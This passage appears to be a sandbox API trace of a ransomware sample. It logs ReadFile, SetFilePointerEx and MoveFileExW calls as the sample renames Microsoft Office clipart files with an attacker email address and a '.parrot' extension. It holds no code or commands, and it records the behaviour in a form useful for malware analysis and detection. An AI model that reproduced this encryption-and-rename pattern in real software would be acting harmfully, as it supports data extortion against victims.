1 [0129.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.729] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.729] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.733] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.733] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3670, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3670, lpOverlapped=0x0) returned 1 [0129.734] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.738] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.738] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.740] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.740] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b1a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b1a, lpOverlapped=0x0) returned 1 [0129.741] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.744] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.744] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.746] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.746] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3044, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3044, lpOverlapped=0x0) returned 1 [0129.747] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.751] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.751] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.753] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.753] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a7c, lpOverlapped=0x0) returned 1 [0129.754] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.758] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.758] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.760] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.760] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8e8, lpOverlapped=0x0) returned 1 [0129.760] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.795] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.795] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.799] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.799] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2e0, lpOverlapped=0x0) returned 1 [0129.800] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.800] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.805] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.805] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.807] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.807] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x439c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x439c, lpOverlapped=0x0) returned 1 [0129.809] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.813] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.813] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.815] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.815] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f08, lpOverlapped=0x0) returned 1 [0129.816] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.817] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.820] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.820] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.821] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.821] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2942, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2942, lpOverlapped=0x0) returned 1 [0129.822] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.834] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.834] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.836] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.836] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12ee, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x12ee, lpOverlapped=0x0) returned 1 [0129.837] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.852] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.852] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.853] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.853] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45ba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x45ba, lpOverlapped=0x0) returned 1 [0129.854] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.859] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.859] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.860] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.860] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2eda, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2eda, lpOverlapped=0x0) returned 1 [0129.864] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.868] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.868] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.870] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.870] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7620, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7620, lpOverlapped=0x0) returned 1 [0129.871] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.873] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.877] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.877] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.879] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.879] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x721c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x721c, lpOverlapped=0x0) returned 1 [0129.881] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.983] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.983] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.985] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.985] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3772, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3772, lpOverlapped=0x0) returned 1 [0129.986] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.987] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.990] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.990] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.994] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.994] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x920e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x920e, lpOverlapped=0x0) returned 1 [0129.996] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.000] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.000] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.001] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.001] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3df0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3df0, lpOverlapped=0x0) returned 1 [0130.002] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.007] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.007] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.008] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.008] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4712, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4712, lpOverlapped=0x0) returned 1 